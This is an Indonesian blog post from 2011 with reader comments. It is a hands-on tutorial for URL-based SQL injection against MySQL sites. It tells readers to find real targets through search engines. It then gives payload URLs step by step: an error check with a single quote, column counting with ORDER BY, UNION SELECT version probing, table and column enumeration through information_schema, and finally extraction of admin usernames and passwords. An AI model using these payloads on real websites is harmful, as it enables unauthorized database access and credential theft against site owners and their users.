Sabtu, 05 Maret 2011

SQL Injection Melalui URL

Udah pada tahukan sql injection itu apa? Kalau yang belum tahu langsung cabut aja dulu ke wikipedia / google gan.. :D


Ok, buat yang udah tahu apa itu sql injection tapi masih bingung caranya. Nih saya share disini..


Pertama-tama mari siapkan :
  1. Target yang akan dituju (bisa di cari di google, bing, dll)
  2. Segelas air putih (biar ga dehidrasi di depan komputer yang panas.. hehe)


Langsung aja ya..
Kalau begitu pertama kita cari targetnya, misalkan http://www.target.com/news.php?id=1
Nah kita tambahkan kutip satu di belakang angka 1 untuk mengetahui apakah web tersebut vulnerable dengan sql injection atau tidak.
Nanti urlnya jadi begini http://www.target.com/news.php?id=1'


Lihat apakah muncul error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
Kalau muncul error seperti di atas, berarti web tersebut vulnerable. :D


Selanjutnya kalau sudah vulnerable kita lanjutkan dengan mengubah url menjadi http://www.target.com/news.php?id=-1+order+by+1--
Cek apakah terdapat error lagi atau tidak, kalau tidak lanjutkan dengan mengganti angka 1 yang dibelakang dengan angka 2 dst..
Misalkan terdapat error di angka 5, berarti kita ambil angka 1, 2, 3, dan 4 untuk langkah berikutnya..


Sekarang ubah url menjadi http://www.target.com/news.php?id=-1+union+select+1,2,3,4-- untuk melihat angka ajaib yang keluar.. :D
Jika yang keluar angka 3, maka kita ganti angka 3 tersebut menjadi @@version atau version() untuk mengetahui versi mysql yang di gunakan : http://www.target.com/news.php?id=-1+union+select+1,2,@@version,4--


Kalau versi mysqlnya 4 kita tinggalkan saja dan cari web yang baru, tapi kalau versi 5 kita lanjut bang.. :D


Kita sudah tahu versi mysqlnya adalah 5, jadi sekarang kita ubah kembali urlnya menjadi
http://www.target.com/news.php?id=-1+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
untuk mengetahui tabel-tabel yang ada di web tersebut.

Jika nama tabelnya sudah keluar, kalian cari mana yang mencurigakan dari namanya. Misalkan kita dapat "admin_log" tanpa kutip.


Kita buka tabel tersebut dengan mengganti group_concat(table_name) menjadi group_concat(column_name) dan information_schema.tables menjadi information_schema.columns lalu table_schema=database() menjadi table_name=admin_log tapi "admin_log" harus di convert dulu ke bilangan hexadesimal dan tambahkan 0x di depan hasil convertnya.
Misalkan hexadesimal admin_log adalah 12345, menjadi 0x12345.


Lihat nama apa saja yang keluar, misalkan "admin,pass".
Kita buka saja isi dari column itu untuk mengetahui username dan password adminnya.. :D
Kita ubah group_concat(column_name) menjadi group_concat(admin,0x23,pass) dan information_schema.tables+where+table_name=0x12345 menjadi admin_log.



Dengan begitu keluarlah semua username dan passwordnya.
Sekarang kalian tinggal mencari halaman login untuk adminnya saja.., tapi ingat jangan disalah gunakan ya.. ;)


Semoga bermanfaat.. ^_^

4 komentar:

  1. wah hacker nih ,,,,,wakwakawkwakka

    BalasHapus
  2. ampun kk...
    saya cuma maniak internet, bukan hacker.. :(

    BalasHapus
  3. lanjutkan keren,... om.. salut....
    di tunggu shre ilmunya yang lain,..

    BalasHapus
  4. Thanks gan.. :D

    Sering-sering mampir ya.. :D

    BalasHapus